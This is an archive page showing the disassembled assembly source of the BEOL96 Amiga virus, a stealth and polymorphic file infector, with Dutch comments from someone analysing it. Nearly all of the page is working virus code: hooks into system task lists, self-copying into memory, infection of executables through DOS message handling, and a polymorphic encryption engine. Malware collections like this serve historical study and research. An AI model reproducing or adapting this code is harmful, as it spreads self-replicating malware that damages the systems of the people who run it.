home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusCollectie
/
b
/
Beol
/
beol96.mem2.asm
< prev
next >
Wrap
Assembly Source File
|
1983-06-22
|
22KB
|
825 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
CHK EQU $18
EXT_0002 EQU $3F2
EXT_0003 EQU $400
EXT_0004 EQU $600
EXT_0005 EQU $DFF007
; BEOL96 Stealth en Polymorph, laatste al ontdekt na download uit mem
; eerste ontdekt na dissassemble...
SECTION S_0,CODE
SECSTRT_0:
LEA PatchWait(PC),A0 ;000: 41FA018C haal begin virus routine op???
MOVE.L (A0),D0 ;004: 2010
LAB_0001:
SUBQ #2,A0 ;006: 5548
CMP.L (A0),D0 ;008: B090 virus aanwezig??
BNE.S LAB_0001 ;00A: 66FA nope, opnieuw
MOVE #$4EF9,(A0) ;00C: 30BC4EF9 $4EF9 ook in beol3
MOVE.L -(A0),D2 ;010: 2420
LSL.L #2,D2 ;012: E58A maak adres van
ADDQ.L #4,D2 ;014: 5882 voeg 4 bij
MOVE.L D2,6(A0) ;016: 21420006 copieer aangepaste troep naar geheugen plaats (stealth/poly)
MOVEA.L D2,A0 ;01A: 2042 copieer adres naar A0 reg
EORI #$39EF,(A0) ;01C: 0A5039EF
LEA SECSTRT_0(PC),A1 ;020: 43FAFFDE begin van deze routine ophalen
MOVEA.L 58(A6),A0 ;024: 206E003A A6=ABSEXECBASE??? => copieer adres van system stack lower part
MOVE #$037A,D7 ;028: 3E3C037A 890 in D7 (lengte van routine?)
LAB_0002:
MOVE (A1)+,(A0)+ ;02C: 30D9 copieer byte van prog naar lower stack??
DBF D7,LAB_0002 ;02E: 51CFFFFC voer 890 maal uit
PEA -1400(A0) ;032: 4868FA88
JMP _LVOCacheClearU(A6) ;036: 4EEEFD84 CacheClearU() (v37+)
DC.B 'BEOL96' ;03A
EOR.B D2,D0 ;040: B500
RTS ;042: 4E75
SUB.B D2,D0 ;044: 9002
RTS ;046: 4E75
ROR.B #3,D0 ;048: E618
RTS ;04A: 4E75
ADD.B D2,D0 ;04C: D002
RTS ;04E: 4E75
DC.W $180C ;050
BTST D7,(A5) ;052: 0F15
BTST D7,(A0)+ ;054: 0F18
DC.W $040D ;056
MOVE.B (A0),D0 ;058: 1010
DC.W $110A ;05A
ROXL.B #1,D1 ;05C: E311
DC.W $06E4 ;05E
MOVE.B D4,-(A0) ;060: 1104
LSL.B #4,D5 ;062: E90D
MOVE.B 3331(A0),(A1)+ ;064: 12E80D03
MOVEP 4112(A1),D1 ;068: 03091010
DC.W $0203 ;06C
ROL.B #3,D0 ;06E: E718
MOVEP 784(A1),D1 ;070: 03090310
OR.B (A2),D0 ;074: 8012
ADDX.B D0,D0 ;076: D100
DC.W $041C ;078
DC.W $0A13 ;07A
MOVEP 16890(A1),D0 ;07C: 010941FA
DC.W $0E00 ;080
MOVEP 16890(A1),D0 ;082: 010941FA
DC.W $0F0C ;086
BCHG D4,(A1) ;088: 0951
OR.B D1,D4 ;08A: 8801
BCHG D4,D1 ;08C: 0941
DC.W $FA10 ;08E
DC.W $0C09 ;090
ADDQ.L #8,A0 ;092: 5088
DC.W $0448 ;094
MOVEQ #14,D5 ;096: 7A0E
DC.W $0109 ;098
MOVEA.L (A7)+,A0 ;09A: 205F copieer stack pointer
DC.W $0004 ;09C
MOVE.B (A3)+,-(A0) ;09E: 111B
MOVE.L D1,-(A3) ;0A0: 2701
DC.W $0841 ;0A2
DC.W $F804 ;0A4
DC.W $077F ;0A6
BTST D1,D2 ;0A8: 0302
DC.W $0820 ;0AA
DC.W $0800 ;0AC
DC.W $0548 ;0AE
MOVEQ #7,D4 ;0B0: 7807
DC.W $7F01 ;0B2
DC.W $0220 ;0B4
MOVE.B D0,-(A7) ;0B6: 1F00
BTST D0,D2 ;0B8: 0102
MOVE #$0B06,D0 ;0BA: 303C0B06
DC.W $077F ;0BE
DC.W $0C02 ;0C0
SUBQ #8,D0 ;0C2: 5140
BTST D0,D2 ;0C4: 0102
MOVE #$0607,D0 ;0C6: 303C0607
DC.W $7F02 ;0CA
DC.W $0206 ;0CC
NEGX.B D7 ;0CE: 4007
LAB_0003:
OR.L D5,D0 ;0D0: 8085
OR.L D2,-(A7) ;0D2: 85A7
DC.W $CC09 ;0D4
DC.W $7D2F ;0D6
ADDQ.B #8,D7 ;0D8: 5007
DC.W $0409 ;0DA
MOVE.B (A7)+,-(A2) ;0DC: 151F
DC.W $0209 ;0DE
ADDQ #1,A0 ;0E0: 5248
DC.W $0002 ;0E2
MOVEP.L 20484(A0),D4 ;0E4: 09485004
ADDQ.L #1,(A7) ;0E8: 5297
DC.W $0109 ;0EA
MOVEA.L (A7)+,A0 ;0EC: 205F
DC.W $0001 ;0EE
DC.W $0370 ;0F0
BTST D0,D3 ;0F2: 0103
BTST D4,D3 ;0F4: 0903
ADDA D0,A0 ;0F6: D0C0
DC.W $0003 ;0F8
MOVEP 4120(A1),D1 ;0FA: 03091018
DC.W $0027 ;0FE
DC.W $0409 ;100
MOVE.B (A1),-(A0) ;102: 1111
DC.W $0202 ;104
DC.W $51C8 ;106
DC.W $0A02 ;108
ANDI #$4004,(A3) ;10A: 02534004
DC.W $6A00 ;10E
DC.W $0A02 ;110
DC.W $024A ;112
NEGX.B D4 ;114: 4004
BEQ.S LAB_0004+2 ;116: 6706
DC.W $0202 ;118
SUBQ #1,D0 ;11A: 5340
LAB_0004:
SUBI #$000A,-(A0) ;11C: 0460000A
AND.B D4,D0 ;120: C004
BTST D7,(A3)+ ;122: 0F1B
MOVE.L D5,-(A3) ;124: 2705
PEA LAB_0005(PC) ;126: 487A0006
DC.W $054E ;12A
DC.W $EEFD ;12C
LAB_0005:
OR.B D0,D2 ;12E: 8400
BTST D0,D7 ;130: 0107
LEA 1789(A6),A0 ;132: 41EE06FD
OR.B D2,D2 ;136: 8402
DC.W $074E ;138
DC.W $A807 ;13A
BTST D0,D1 ;13C: 0101
MOVE #$08FD,D0 ;13E: 303C08FD
OR.B D4,D2 ;142: 8404
DC.W $4EB6 ;144
BTST D4,D1 ;146: 0901
DC.W $054E ;148
DC.W $AEFD ;14A
OR.B D0,D2 ;14C: 8400
DC.W $040A ;14E
MOVE.B -(A4),D4 ;150: 1824
BTST D2,30720(A4) ;152: 052C7800
DC.W $0400 ;156
BTST D0,D0 ;158: 0100
MOVEQ #4,D0 ;15A: 7004
BTST D1,D6 ;15C: 0306
DC.W $0020 ;15E
NEGX.B D2 ;160: 4002
DC.W $062C ;162
ADDQ.B #8,D0 ;164: 5000
BTST D0,D0 ;166: 0100
MOVE.L (EXT_0003).W,D0 ;168: 20380400
SUBI.B #$2C,D2 ;16C: 0402002C
NEGX.B D0 ;170: 4000
BTST D0,D6 ;172: 0106
LEA (EXT_0004).W,A0 ;174: 41F80600
DC.W $0402 ;178
DC.W $062C ;17A
DC.W $6807 ;17C
BSR.S PatchWait ;17E: 610E
LEA 56(A7),A0 ;180: 41EF0038
MOVEA.L (A0),A6 ;184: 2C50
MOVE.L D2,(A0) ;186: 2082
MOVEM.L (A7)+,D0-D7/A0-A5 ;188: 4CDF3FFF
RTS ;18C: 4E75
PatchWait:
MOVEM.L D0-D7/A0-A6,-(A7) ;18E: 48E7FFFE save registers op stack
JSR _LVOForbid()(A6) ;192: 4EAEFF7C A6=ABSEXECBASE?? -> Acces stop
MOVEQ #13,D1 ;196: 720D D1=13
LEA LAB_000A(PC),A1 ;198: 43FA002A
MOVEA.L 420(A6),A0 ;19C: 206E01A4 taskwait:ARRAY OF lh -> A0
BSR.S LAB_0008 ;1A0: 6110
MOVEA.L 406(A6),A0 ;1A2: 206E0196 taskready:ARRAY OF lh -> A0
BSR.S LAB_0008 ;1A6: 610A
JSR _LVOPermit(A6) ;1A8: 4EAEFF76 iedereen mag weer naar binnen
MOVEM.L (A7)+,D0-D7/A0-A6 ;1AC: 4CDF7FFF registers terug, net alsof er niets is gebeurd :)
LAB_0007:
RTS ;1B0: 4E75 exit
LAB_0008:
TST.L (A0) ;1B2: 4A90
BEQ.S LAB_0007 ;1B4: 67FA Z flag gezet, exit
CMP.B 8(A0),D1 ;1B6: B2280008 tailpred:PTR TO ln -> type is 13?
BNE.S LAB_0009 ;1BA: 6604 nee
MOVE.L A1,180(A0) ;1BC: 214900B4 ja, copieer LAB_000A naar ...???
LAB_0009:
MOVEA.L (A0),A0 ;1C0: 2050 reset???
BRA.S LAB_0008 ;1C2: 60EE opnieuw
LAB_000A:
MOVEM.L D1-D7/A0-A6,-(A7) ;1C4: 48E77FFE registers opslaan
MOVEA.L (ABSEXECBASE).W,A6 ;1C8: 2C780004
MOVEA.L 276(A6),A3 ;1CC: 266E0114 thistask:PTR TO tc ->A3
LEA 70(A3),A3 ;1D0: 47EB0046 laad launch:LONG adres naar A3
BSR LAB_0033 ;1D4: 610002D0
MOVEA.L D0,A5 ;1D8: 2A40
LEA ($18).W,A4 ;1DA: 49F80018
ADDA.L 10(A5),A4 ;1DE: D9ED000A
BSR.S PatchWait ;1E2: 61AA
NOT.B 9(A5) ;1E4: 462D0009
BMI.S LAB_000F ;1E8: 6B3E
MOVE.L -20(A4),D6 ;1EA: 2C2CFFEC
MOVEA.L D6,A0 ;1EE: 2046
TST.L 96(A0) ;1F0: 4AA80060
BNE.S LAB_000F ;1F4: 6632
MOVE.L -16(A4),D0 ;1F6: 202CFFF0
BSR.S LAB_000C ;1FA: 611E
DC.W $040A ;1FC
DC.W $0032 ;1FE
BSET D1,330(A7) ;200: 03EF014A
BSET D1,164(A5) ;204: 03ED00A4
ORI #$0150,(A2) ;208: 00520150
ORI.B #$22,(A0)+ ;20C: 00180022
ORI.B #$1E,(A7) ;210: 0017001E
LAB_000B:
ADDA (A0),A0 ;214: D0D0
JSR (A0) ;216: 4E90
BRA.S LAB_000E ;218: 600A
LAB_000C:
MOVEA.L (A7)+,A0 ;21A: 205F
LAB_000D:
CMP (A0)+,D0 ;21C: B058
BEQ.S LAB_000B ;21E: 67F4
MOVEA (A0)+,A1 ;220: 3258
BLT.S LAB_000D ;222: 6DF8
LAB_000E:
CLR.B 9(A5) ;224: 422D0009
LAB_000F:
MOVE.L A5,D0 ;228: 200D
MOVEM.L (A7)+,D1-D7/A0-A6 ;22A: 4CDF7FFE
RTS ;22E: 4E75
SUBA.L A0,A0 ;230: 91C8
MOVE.L 102(A3),D0 ;232: 202B0066
LSL.L #2,D0 ;236: E588
BEQ.S LAB_0016 ;238: 6760
MOVE.L 16(A0,D0.L),D0 ;23A: 20300810
LSL.L #2,D0 ;23E: E588
BEQ.S LAB_0016 ;240: 6758
MOVEA.L D0,A0 ;242: 2040
MOVEQ #0,D0 ;244: 7000
MOVE.B (A0)+,D0 ;246: 1018
ADDA D0,A0 ;248: D0C0
BSR.S LAB_0011 ;24A: 6114
BCLR D1,-(A0) ;24C: 03A0
SUB A0,D4 ;24E: 9848
BRA.S LAB_0010 ;250: 6002
SUB A0,D0 ;252: 9048
LAB_0010:
MOVE.L A0,D0 ;254: 2008
NEGX.B (A0)+ ;256: 4018
MOVEQ #40,D0 ;258: 7028
DC.W $1058 ;25A
DC.W $9078 ;25C
DC.W $B8FF ;25E
LAB_0011:
MOVEA.L (A7)+,A1 ;260: 225F
BRA.S LAB_0013 ;262: 6002
LAB_0012:
ADDA D7,A1 ;264: D2C7
LAB_0013:
MOVEQ #0,D7 ;266: 7E00
MOVE.B (A1)+,D7 ;268: 1E19
BMI.S LAB_0016 ;26A: 6B2E
MOVEA.L A0,A2 ;26C: 2448
LAB_0014:
MOVE.B -(A2),D0 ;26E: 1022
LSL.B #3,D0 ;270: E708
CMP.B (A1)+,D0 ;272: B019
BNE.S LAB_0012 ;274: 66EE
DBF D7,LAB_0014 ;276: 51CFFFF6
MOVEQ #36,D0 ;27A: 7024
ADD.L (A4),D0 ;27C: D094
LSL.L #2,D0 ;27E: E588
MOVEA.L D0,A0 ;280: 2040
MOVEA.L A0,A1 ;282: 2248
BSR.S LAB_0017 ;284: 6116
BNE.S LAB_0016 ;286: 6612
ADDA D0,A0 ;288: D0C0
MOVEQ #3,D7 ;28A: 7E03
LAB_0015:
MOVE.B (A0)+,D0 ;28C: 1018
ROR #8,D0 ;28E: E058
DBF D7,LAB_0015 ;290: 51CFFFFA
BEQ.S LAB_0016 ;294: 6704
MOVE.L D0,-20(A1) ;296: 2340FFEC
LAB_0016:
RTS ;29A: 4E75
LAB_0017:
MOVEQ #0,D0 ;29C: 7000
MOVE.B (A0),D0 ;29E: 1010
SUBQ #4,D0 ;2A0: 5940
BLT.S LAB_0018 ;2A2: 6D04
TST.B 1(A0,D0.W) ;2A4: 4A300001
LAB_0018:
RTS ;2A8: 4E75
BSR LAB_0021 ;2AA: 6100008C
TST.L -12(A4) ;2AE: 4AACFFF4
BEQ.S LAB_0018 ;2B2: 67F4
MOVEQ #65,D0 ;2B4: 7041
LSL.L #2,D0 ;2B6: E588
MOVEQ #1,D1 ;2B8: 7201
JSR _LVOCacheControl(A6) ;2BA: 4EAEFD54
MOVE.L D0,(A3) ;2BE: 2680
BEQ.S LAB_0018 ;2C0: 67E6
MOVEA.L D0,A2 ;2C2: 2440
LEA LAB_0036(PC),A0 ;2C4: 41FA0210
BSR.S LAB_001E ;2C8: 6152
MOVEA.L 124(A2),A0 ;2CA: 206A007C
SUBQ #3,124(A2) ;2CE: 576A007C
BGE.S LAB_0019 ;2D2: 6C02
ADDQ #8,D5 ;2D4: 5045
LAB_0019:
BGE.S LAB_0021 ;2D6: 6C60
MOVE.L A0,D5 ;2D8: 2A08
ADDA #$0802,A0 ;2DA: D0FC0802
MOVE.L A0,D0 ;2DE: 2008
MOVEQ #1,D1 ;2E0: 7201
JSR _LVOAllocVec(A6) ;2E2: 4EAEFD54
MOVE.L D0,(A2)+ ;2E6: 24C0
MOVE.L D5,(A2) ;2E8: 2485
ADD.L D0,(A2)+ ;2EA: D19A
MOVE.L D0,(A2)+ ;2EC: 24C0
BEQ.S LAB_001A ;2EE: 6706
LEA 132(A2),A0 ;2F0: 41EA0084
BSR.S LAB_0017 ;2F4: 61A6
LAB_001A:
BEQ.S LAB_0021 ;2F6: 6740
ADDQ.B #4,(A0) ;2F8: 5810
LEA 5(A0,D0.W),A1 ;2FA: 43F00005
CLR.B (A1)+ ;2FE: 4219
LAB_001B:
MOVE.B D5,(A1)+ ;300: 12C5
LSR.L #8,D5 ;302: E08D
BNE.S LAB_001B ;304: 66FA
MOVE.L D4,(A2)+ ;306: 24C4
MOVE.L 4(A4),D0 ;308: 202C0004
LSL.L #2,D0 ;30C: E588
MOVEA.L D0,A0 ;30E: 2040
MOVE.B (A0)+,D0 ;310: 1018
MOVE.B D0,(A2)+ ;312: 14C0
LAB_001C:
MOVE.B (A0)+,(A2)+ ;314: 14D8
SUBQ.B #1,D0 ;316: 5300
BGT.S LAB_001C ;318: 6EFA
LAB_001D:
RTS ;31A: 4E75
LAB_001E:
LEA 16(A4),A1 ;31C: 43EC0010
MOVEQ #9,D1 ;320: 7209
LAB_001F:
MOVE.L -(A1),-(A7) ;322: 2F21
DBF D1,LAB_001F ;324: 51C9FFFC
JSR (A0) ;328: 4E90
LEA -24(A4),A1 ;32A: 43ECFFE8
MOVEQ #9,D1 ;32E: 7209
LAB_0020:
MOVE.L (A7)+,(A1)+ ;330: 22DF
DBF D1,LAB_0020 ;332: 51C9FFFC
RTS ;336: 4E75
LAB_0021:
MOVE.L (A3),D0 ;338: 2013
BEQ.S LAB_001D ;33A: 67DE
SUBA.L A1,A1 ;33C: 93C9
MOVEA.L 8(A1,D0.L),A1 ;33E: 22710808
BSR.S LAB_0022 ;342: 6104
MOVEA.L (A3),A1 ;344: 2253
CLR.L (A3) ;346: 4293
LAB_0022:
JMP -690(A6) ;348: 4EEEFD4E
MOVE.L (A3),D0 ;34C: 2013
BEQ.S LAB_0021 ;34E: 67E8
MOVEA.L D0,A2 ;350: 2440
LEA LAB_0034(PC),A0 ;352: 41FA0162
BSR.S LAB_001E ;356: 61C4
BRA.S LAB_0021 ;358: 60DE
MOVE.L (A3),D0 ;35A: 2013
BEQ.S LAB_001D ;35C: 67BC
MOVEA.L D0,A2 ;35E: 2440
MOVEA.L (A2)+,A1 ;360: 225A
MOVE.L -12(A4),D0 ;362: 202CFFF4
BEQ.S LAB_001D ;366: 67B2
MOVE.L D0,D5 ;368: 2A00
ADDA.L D0,A1 ;36A: D3C0
CMPA.L (A2),A1 ;36C: B3D2
BGT.S LAB_0021 ;36E: 6EC8
MOVE.L A1,-(A2) ;370: 2509
SUBA.L D0,A1 ;372: 93C0
MOVEA.L (A4),A0 ;374: 2054
JSR _LVOCopyMem(A6) ;376: 4EAEFD90
CMP.L 4(A4),D5 ;37A: BAAC0004 einde van copy naar stack lower
BEQ.S LAB_001D ;37E: 679A
MOVEA.L (A2)+,A1 ;380: 225A
CMPA.L (A2)+,A1 ;382: B3DA
LAB_0023:
BNE.S LAB_0021 ;384: 66B2
MOVEA.L (A2),A2 ;386: 2452
SUBI.L #$000003F3,(A2)+ ;388: 049A000003F3
BNE.S LAB_0021 ;38E: 66A8
MOVE.L A1,-(A7) ;390: 2F09
MOVE #$06F5,D5 ;392: 3A3C06F5
ADDA #$0702,A1 ;396: D2FC0702
DC.W $41FA ;39A
BCHG D1,(A2)+ ;39C: 035A
BSR LAB_0039 ;39E: 61000176
ADDQ #4,A2 ;3A2: 584A
MOVEA.L A2,A0 ;3A4: 204A
MOVE.L (A0),D4 ;3A6: 2810
ADDQ.L #1,(A0) ;3A8: 5290
ADDQ.L #8,A0 ;3AA: 5088
ADDQ.L #1,(A0)+ ;3AC: 5298
LSL.L #2,D4 ;3AE: E58C
ADDA.L D4,A0 ;3B0: D1C4
LSR.L #2,D4 ;3B2: E48C
MOVEQ #0,D3 ;3B4: 7600
MOVEQ #-8,D7 ;3B6: 7EF8
LAB_0024:
MOVE.L (A0)+,D0 ;3B8: 2018
SUBI #$03E8,D0 ;3BA: 044003E8
BPL.S LAB_0027 ;3BE: 6A04
LAB_0025:
MOVE.L (A7)+,D0 ;3C0: 201F
LAB_0026:
BNE.S LAB_0023 ;3C2: 66C0
LAB_0027:
CMPI #$000B,D0 ;3C4: 0C40000B
BGE.S LAB_0025 ;3C8: 6CF6
MOVE.B LAB_0028(PC,D0.W),D0 ;3CA: 103B0006
JMP LAB_0028(PC,D0.W) ;3CE: 4EFB0002
LAB_0028:
DC.W $440C ;3D2
DC.W $0C4C ;3D4
MOVE.L -4370(A6),(A6)+ ;3D6: 2CEEEEEE
MOVEA D4,A4 ;3DA: 3844
ADDQ.B #8,D0 ;3DC: 5000
MOVE.L (A0)+,D1 ;3DE: 2218
TST.L D7 ;3E0: 4A87
BPL.S LAB_0029 ;3E2: 6A04
ADD.L A0,D7 ;3E4: DE88
EOR D2,(A0) ;3E6: B550
LAB_0029:
CMPI #$4E75,2(A0) ;3E8: 0C684E750002
BEQ.S LAB_0025 ;3EE: 67D0
LSL.L #2,D1 ;3F0: E589
ADDA.L D1,A0 ;3F2: D1C1
LAB_002A:
TAS D3 ;3F4: 4AC3
BEQ.S LAB_0024 ;3F6: 67C0
SUBQ #1,D4 ;3F8: 5344
BEQ.S LAB_0025 ;3FA: 67C4
BRA.S LAB_0024 ;3FC: 60BA
LAB_002B:
MOVE.L (A0)+,D1 ;3FE: 2218
BEQ.S LAB_0024 ;400: 67B6
ADDQ.L #1,(A0)+ ;402: 5298
LSL.L #2,D1 ;404: E589
ADDA.L D1,A0 ;406: D1C1
BRA.S LAB_002B ;408: 60F4
LAB_002C:
MOVE.L (A0)+,D1 ;40A: 2218
BEQ.S LAB_0024 ;40C: 67AA
LSL.L #2,D1 ;40E: E589
LEA 4(A0,D1.L),A0 ;410: 41F01804
BRA.S LAB_002C ;414: 60F4
MOVE.L (A0)+,D1 ;416: 2218
LSL.L #2,D1 ;418: E589
ADDA.L D1,A0 ;41A: D1C1
BRA.S LAB_0024 ;41C: 609A
ADDQ.L #4,A0 ;41E: 5888
BRA.S LAB_002A ;420: 60D2
MOVEQ #0,D3 ;422: 7600
SUBQ #1,D4 ;424: 5344
BNE.S LAB_0024 ;426: 6690
MOVE.L A0,D3 ;428: 2608
CMP.L (A7)+,D3 ;42A: B69F
BNE.S LAB_0026 ;42C: 6694
LEA LAB_002F(PC),A0 ;42E: 41FA004A
BSR.S LAB_002D ;432: 6104
LEA LAB_002E(PC),A0 ;434: 41FA0006
LAB_002D:
BRA LAB_001E ;438: 6000FEE2
LAB_002E:
MOVEQ #8,D0 ;43C: 7008
MOVEQ #-1,D1 ;43E: 72FF
MOVEM.L D0-D1,(A4) ;440: 48D40003
MOVE #$03F0,D0 ;444: 303C03F0
BSR.S LAB_0031 ;448: 6148
MOVE.L A2,(A4) ;44A: 288A
MOVEQ #12,D0 ;44C: 700C
MOVE.L D0,4(A4) ;44E: 29400004
MOVEQ #87,D0 ;452: 7057
BSR.S LAB_0031 ;454: 613C
ADDQ #8,A2 ;456: 504A
MOVE.L D5,(A2) ;458: 2485
SUB.L A2,D7 ;45A: 9E8A
MOVE.L A2,(A4) ;45C: 288A
MOVE.L D7,4(A4) ;45E: 29470004
ADD.L A2,D7 ;462: DE8A
BSR.S LAB_0032 ;464: 6130
ADDQ #3,D5 ;466: 5645
LSL.L #2,D5 ;468: E58D
MOVEM.L D3/D5,(A4) ;46A: 48D40028
BSR.S LAB_0032 ;46E: 6126
SUB.L D7,D3 ;470: 9687
MOVE.L D7,(A4) ;472: 2887
MOVE.L D3,4(A4) ;474: 29430004
BRA.S LAB_0032 ;478: 601C
LAB_002F:
MOVEQ #0,D1 ;47A: 7200
LAB_0030:
CLR.L -4(A4) ;47C: 42ACFFFC
MOVEQ #16,D0 ;480: 7010
ADD.L (A3),D0 ;482: D093
MOVEA.L D0,A0 ;484: 2040
MOVE.L -(A0),(A4) ;486: 28A0
LSR.L #2,D0 ;488: E488
MOVEM.L D0-D1,4(A4) ;48A: 48EC00030004
MOVEQ #21,D0 ;490: 7015
LAB_0031:
MOVE D0,-14(A4) ;492: 3940FFF2
LAB_0032:
MOVEA.L A5,A1 ;496: 224D
MOVEA.L D6,A0 ;498: 2046
PEA 22(A3) ;49A: 486B0016
MOVE.L (A7)+,-20(A4) ;49E: 295FFFEC
JSR _LVOPutMsg(A6) ;4A2: 4EAEFE92
LAB_0033:
PEA 22(A3) ;4A6: 486B0016 ???
MOVEA.L (A7),A0 ;4AA: 2057 stack adres naar A0
JSR _LVOWaitPort(A6) ;4AC: 4EAEFE80
MOVEA.L (A7)+,A0 ;4B0: 205F ...
JMP _LVOGetMsg(A6) ;4B2: 4EEEFE8C
LAB_0034:
MOVE.L 116(A2),D1 ;4B6: 222A0074
BSR.S LAB_0030 ;4BA: 61C0
ADDA #$0084,A2 ;4BC: D4FC0084
MOVE.L A2,8(A4) ;4C0: 294A0008
MOVEQ #34,D0 ;4C4: 7022
BSR.S LAB_0031 ;4C6: 61CA
MOVE.L A2,D0 ;4C8: 200A
LSR.L #2,D0 ;4CA: E488
ADDQ.L #3,D0 ;4CC: 5680
MOVE.L D0,8(A4) ;4CE: 29400008
MOVEQ #28,D0 ;4D2: 701C
LAB_0035:
BRA.S LAB_0031 ;4D4: 60BC
LAB_0036:
LSR.L #2,D0 ;4D6: E488
MOVE.L -(A4),D1 ;4D8: 2224
LSL.L #2,D1 ;4DA: E589
SUBA.L A0,A0 ;4DC: 91C8
MOVE.L 36(A0,D1.L),(A4)+ ;4DE: 28F01824
MOVE.L (A4),D4 ;4E2: 2814
MOVE.L D0,(A4) ;4E4: 2880
MOVE #$040A,D0 ;4E6: 303C040A
BSR.S LAB_0035 ;4EA: 61E8
MOVE.L D4,-4(A4) ;4EC: 2944FFFC
MOVEQ #26,D0 ;4F0: 701A
BSR.S LAB_0035 ;4F2: 61E0
LEA 16(A2),A2 ;4F4: 45EA0010
MOVE.L (A2),D5 ;4F8: 2A12
SUB.L -(A2),D5 ;4FA: 9AA2
CLR.L -(A2) ;4FC: 42A2
SUBQ.L #8,A2 ;4FE: 518A
RTS ;500: 4E75
LAB_0037:
MOVE.B EXT_0005,D0 ;502: 103900DFF007
EOR.B D0,D7 ;508: B107
ROL #7,D7 ;50A: EF5F
MOVE D7,D0 ;50C: 3007
RTS ;50E: 4E75
LAB_0038:
BSR.S LAB_0037 ;510: 61F0
LSR #8,D0 ;512: E048
RTS ;514: 4E75
LAB_0039:
MOVEM.L D0-D1/D3-D4/D6-D7/A0-A6,-(A7) ;516: 48E7DBFE D2 trashed????, D5 trashed????
BSR.S LAB_0037 ;51A: 61E6
MOVE D0,-1752(A0) ;51C: 3140F928
MOVE.L D0,-(A7) ;520: 2F00
JSR _LVOForbid(A6) ;522: 4EAEFF7C
BSR.S LAB_0038 ;526: 61E8
LSR.B #6,D0 ;528: EC08
MOVE D0,D4 ;52A: 3800
LAB_003A:
MOVE D5,D1 ;52C: 3205
LSR #8,D1 ;52E: E049
BSR.S LAB_003B ;530: 6108
DC.W $FB74 ;532
DC.W $0009 ;534
DC.W $000B ;536
DC.W $0009 ;538
LAB_003B:
MOVEQ #3,D2 ;53A: 7403
MOVEA.L (A7),A3 ;53C: 2657
MOVEA.L (A7)+,A2 ;53E: 245F
LAB_003C:
ADDA (A2)+,A3 ;540: D6DA
MOVE.B D1,(A3)+ ;542: 16C1
MOVE.B D5,(A3)+ ;544: 16C5
DBF D2,LAB_003C ;546: 51CAFFF8
LINK A2,#-138 ;54A: 4E52FF76
MOVEA.L A7,A5 ;54E: 2A4F
LEA 18(A5),A4 ;550: 49ED0012
LAB_003D:
MOVEQ #-64,D1 ;554: 72C0
MOVEQ #5,D3 ;556: 7605
LAB_003E:
BSR.S LAB_0037 ;558: 61A8
LSR.B #5,D0 ;55A: EA08
BSET D0,D1 ;55C: 01C1
BNE.S LAB_003E ;55E: 66F8
MOVE.B D0,-(A2) ;560: 1500
DBF D3,LAB_003E ;562: 51CBFFF4
ADDQ #1,D2 ;566: 5242
BEQ.S LAB_003D ;568: 67EA
CLR.L -8(A2) ;56A: 42AAFFF8
MOVEQ #0,D6 ;56E: 7C00
LAB_003F:
BSR.S LAB_0037 ;570: 6190
MOVE D0,D2 ;572: 3400
ASR #2,D2 ;574: E442
BSR.S LAB_0038 ;576: 6198
LSR.B #4,D0 ;578: E808
MOVE D0,D1 ;57A: 3200
SUBQ #8,D1 ;57C: 5141
BGT.S LAB_003F ;57E: 6EF0
LEA LAB_0003(PC),A3 ;580: 47FAFB4E
MOVE.B 8(A3,D1.W),D1 ;584: 12331008
EXT D1 ;588: 4881
ADDA D1,A3 ;58A: D6C1
MOVE.B D6,D3 ;58C: 1606
AND.B (A3),D3 ;58E: C613
CMP.B (A3)+,D3 ;590: B61B
BNE.S LAB_003F ;592: 66DC
BSET D0,D6 ;594: 01C6
BNE.S LAB_003F ;596: 66D8
BSR LAB_0038 ;598: 6100FF76
LSR.B #6,D0 ;59C: EC08
MOVE.B 0(A3,D0.W),D0 ;59E: 10330000
ADDA D0,A3 ;5A2: D6C0
BSR.S LAB_0044 ;5A4: 616C
MOVE D6,D0 ;5A6: 3006
LSL #7,D0 ;5A8: EF48
BPL.S LAB_003F ;5AA: 6AC4
MOVEA.L -(A2),A3 ;5AC: 2662
MOVE.L A4,D0 ;5AE: 200C
SUB.L A3,D0 ;5B0: 908B
ADD D0,(A3) ;5B2: D153
MOVE.L A4,D1 ;5B4: 220C
SUB.L A5,D1 ;5B6: 928D
ADDA D1,A1 ;5B8: D2C1
MOVEA.L A1,A3 ;5BA: 2649
MOVE.L D5,D6 ;5BC: 2C05
ADD D1,D5 ;5BE: DA41
LAB_0040:
MOVE.B -(A0),D0 ;5C0: 1020
MOVEQ #2,D3 ;5C2: 7602
LAB_0041:
MOVE -(A5),D2 ;5C4: 3425
MOVEA.L -(A5),A2 ;5C6: 2465
JSR (A2) ;5C8: 4E92
DBF D3,LAB_0041 ;5CA: 51CBFFF8
LEA 18(A5),A5 ;5CE: 4BED0012
MOVE.B D0,-(A3) ;5D2: 1700
DBF D6,LAB_0040 ;5D4: 51CEFFEA
SUBQ #1,D1 ;5D8: 5341
LAB_0042:
MOVE.B -(A4),-(A3) ;5DA: 1724
DBF D1,LAB_0042 ;5DC: 51C9FFFC
MOVEA.L A1,A0 ;5E0: 2049
LEA 142(A7),A7 ;5E2: 4FEF008E
DBF D4,LAB_003A ;5E6: 51CCFF44
JSR _LVOPermit(A6) ;5EA: 4EAEFF76
ADDQ #7,D5 ;5EE: 5E45
LSR #2,D5 ;5F0: E44D
BCS.S LAB_0043 ;5F2: 6502
ADDQ #2,A1 ;5F4: 5449
LAB_0043:
LEA (EXT_0002).W,A2 ;5F6: 45F803F2
MOVE.L A2,(A1) ;5FA: 228A
MOVE.L PatchWait(PC),-(A3) ;5FC: 273AFB90
EXT.L D5 ;600: 48C5
MOVE.L D5,-(A3) ;602: 2705
SUBQ #8,A2 ;604: 514A
SUBQ #1,A2 ;606: 534A
MOVE.L A2,-(A3) ;608: 270A
MOVE.L (A7)+,D2 ;60A: 241F
MOVEM.L (A7)+,D0-D1/D3-D4/D6-D7/A0-A6 ;60C: 4CDF7FDB haal troep terug zonder D2 en D5
RTS ;610: 4E75
LAB_0044:
MOVE.B (A3)+,D0 ;612: 101B
EXT D0 ;614: 4880
MOVE.B LAB_0049(PC,D0.W),D0 ;616: 103B005E
EXT D0 ;61A: 4880
JSR LAB_0049(PC,D0.W) ;61C: 4EBB0058
BRA.S LAB_0044 ;620: 60F0
MOVE.L -8(A2),D0 ;622: 202AFFF8
SUB.L A4,D0 ;626: 908C
MOVE D0,(A4)+ ;628: 38C0
